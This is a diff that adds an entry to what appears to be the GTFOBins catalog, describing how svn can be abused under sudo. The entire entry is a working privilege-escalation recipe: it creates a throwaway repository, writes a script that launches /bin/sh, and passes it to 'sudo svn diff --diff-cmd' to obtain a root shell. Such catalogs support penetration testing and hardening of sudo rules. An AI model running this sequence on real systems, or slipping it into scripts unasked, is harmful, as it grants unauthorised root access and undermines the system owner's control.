diff --git a/_gtfobins/svn.md b/_gtfobins/svn.md new file mode 100644 index 0000000..71b49fc --- /dev/null +++ b/_gtfobins/svn.md @@ -0,0 +1,11 @@ +--- +functions: + sudo: + - code: | + TD=$(mktemp -d) + svnadmin create $TD/pwn + svn checkout file:///$TD/pwn $TD/project + echo -e '#!/bin/bash\n/bin/sh' > $TD/shell + chmod +x $TD/shell + sudo svn diff --diff-cmd "$TD/shell" +---